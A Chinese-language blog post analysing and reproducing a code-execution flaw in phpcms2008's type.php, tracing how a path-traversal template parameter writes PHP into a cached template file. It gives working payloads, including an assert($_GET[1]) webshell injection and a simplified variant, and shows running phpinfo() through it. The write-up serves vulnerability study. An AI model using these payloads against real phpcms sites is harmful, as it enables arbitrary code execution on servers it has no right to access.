C1imber's Blog

phpcms2008 type.php代码执行漏洞分析与复现

字数统计: 1.3k阅读时长: 5 min
2018/12/21 Share

phpcms2008 type.php代码执行漏洞分析与复现

phpcms2008安装问题:

安装时出现如下错误
mark

修改以下文件”TYPE=MyISAM”处,修改为”ENGINE=MyISAM”

php文件:

/ads/include/create.table.php
/install.php
/include/admin/global.func.php
/include/admin/sql.func.php
/install/install.php

mark
以及所有的.sql文件,”TYPE=MyISAM”修改为”ENGINE=MyISAM”
mark
就可以安装成功了
mark

漏洞利用:

payload:

在存在漏洞的网站后输入:

type.php?template=tag_(){};@unlink(_FILE_);assert($_GET[1]);{//../rss

mark
之后将会在/data/cache_template/目录下生成rss.tpl.php文件,template的值被成功写入到该文件内,产生任意代码执行

接着访问:

/data/cache_template/rss.tpl.php?1=phpinfo();

即可执行phpinfo()
mark

漏洞分析:

根据payload可知入口点在type.php,重要代码如下:

1
2
3
4
5
require dirname(__FILE__).'/include/common.inc.php';
......
if(empty($template)) $template = 'type';
......
include template('phpcms', $template);

其中$tamplate参数可控

下面来看/include/common.inc.php

重要代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if($_REQUEST)
{
if(MAGIC_QUOTES_GPC)
{
$_REQUEST = new_stripslashes($_REQUEST);
if($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE);
extract($db->escape($_REQUEST), EXTR_SKIP);
}
else
{
$_POST = $db->escape($_POST);
$_GET = $db->escape($_GET);
$_COOKIE = $db->escape($_COOKIE);
@extract($_POST,EXTR_SKIP);
@extract($_GET,EXTR_SKIP);
@extract($_COOKIE,EXTR_SKIP);
}
if(!defined('IN_ADMIN')) $_REQUEST = filter_xss($_REQUEST, ALLOWED_HTMLTAGS);
if($_COOKIE) $db->escape($_COOKIE);
}

以上的代码可用来接收传入的template,其中extract函数会对传入的GPC关联数组当中的键值对进行变量注册,其中EXTR_SKIP参数表示当变量名冲突时,不覆盖原有变量,所以当在GPC当中传入template参数时,传入的值会作为参数传入include template(‘phpcms’, $template)这里,跟进相关的函数,代码如下:

1
2
3
4
5
6
7
8
9
10
function template($module = 'phpcms', $template = 'index', $istag = 0)
{
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
if(TPL_REFRESH && (!file_exists($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html') > @filemtime($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/tag.inc.php') > @filemtime($compiledtplfile)))
{
require_once PHPCMS_ROOT.'include/template.func.php';
template_compile($module, $template, $istag);
}
return $compiledtplfile;
}

其中

1
2
3
define('TPL_CACHEPATH', PHPCMS_ROOT.'data/cache_template/'); //模板缓存物理路径
define('TPL_ROOT', PHPCMS_ROOT.'templates/'); //模板保存物理路径
define('TPL_NAME', 'default'); //当前模板方案目录

代码将传入的$template经过拼接后赋值给$compiledtplfile,此时$compiledtplfile的值变为了:

/data/cache_template/phpcms_tag_(){};@unlink(_FILE_);assert($_GET[1]);{//../rss.tpl.php

这里的payload构造很有想象力,里这巧妙了利用了一个目录穿越的技巧,所以会将phpcms_tag_(){};@unlink(_FILE_);assert($_GET[1]);{/看成是一个目录,接着../则会跳过该目录

之后将路径传入file_exists检查文件是否存在,这里检查的文件路径实际上为:

/data/cache_template/rss.tpl.php

其中TPL_REFRESH为默认值1,并且/data/cache_template/rss.tpl.php这个文件是不存在的,所以符合条件,接着$tamplate被传入template_compile($module, $template, $istag);,跟进对应的函数

代码如下:

1
2
3
4
5
6
7
8
9
10
11
function template_compile($module, $template, $istag = 0)
{
$tplfile = TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html';
$content = @file_get_contents($tplfile);
if($content === false) showmessage("$tplfile is not exists!");
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
$strlen = file_put_contents($compiledtplfile, $content);
@chmod($compiledtplfile, 0777);
return $strlen;
}

此时$temlate经过拼接赋值给了$tplfile,$tpfile的值变为了:

/templates/default/phpcms/tag_(){};@unlink(_FILE_);assert($_GET[1]);{//../rss.html

之后file_get_contents会读取$tpfle这个文件的内容,如果文件不存在就会直接结束执行,但是这里的路径同样存在目录穿越的问题,实际上读取的路径为/templates/default/phpcms/rss.html这个文件,而这个文件是存在的,此处利用了路径穿越巧妙的绕过了此处的检查,之后template_parse函数将$tplfile文件当中的html代码编译成为php代码,然后和$template变量的内容拼接后写入到了$compiledtplfile这个文件中,也就是/data/cachetemplate/rss.tpl.php这个文件,这里要求template的前四个字符为`tag`,payload的构造符合了要求,这时候php恶意代码就成功写入到了模板缓存文件内,产生了代码执行

写入的/data/cache_template/rss.tpl.php内的恶意代码为:

1
<?php function _tag_phpcms_tag_(){};@unlink(_FILE_);assert($_GET[1]);{//../rss($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>

mark

关于payload构造的几个问题:

1.为什么加unlink?

其实可以不加,仔细看的话可以看到此处的unlink里面的参数书写的也不对并不会执行,加unlink的原因只是为了语法正确而已,经过测试:

1
2
3
tag_(){}assert($_GET[1]);{//../rss也可以成功
tag_(){};assert($_GET[1]);{//../rss会失败
tag_(){};php代码;assert($_GET[1]);{//../rss成功

2.为什么加//

为了注释后面的代码,避免产生语法错误,不明白的可以看上图中的代码

3.{这个符号

因为后面的注释注释掉了{,所以需要加一个{去闭合代码最后的},否则会出语法错误

ayload构造:

1.简化后的payload:

type.php?template=tag_(){}assert($_GET[1]);{//../rss

漏洞总结:

该漏洞可以总结为:代码根据传入的参数将/templates/default/phpcms目录下对应的.html模板文件渲染生成为/data/cache_template目录下.tpl.php模板缓存文件的这个过程中,由于输入是可控的,导致可以将php恶意代码写入php文件当中,从而产生任意代码执行

CATALOG
  1. 1. phpcms2008 type.php代码执行漏洞分析与复现
    1. 1.0.1. phpcms2008安装问题:
    2. 1.0.2. 漏洞利用:
    3. 1.0.3. 漏洞分析:
    4. 1.0.4. 关于payload构造的几个问题:
    5. 1.0.5. ayload构造:
    6. 1.0.6. 漏洞总结: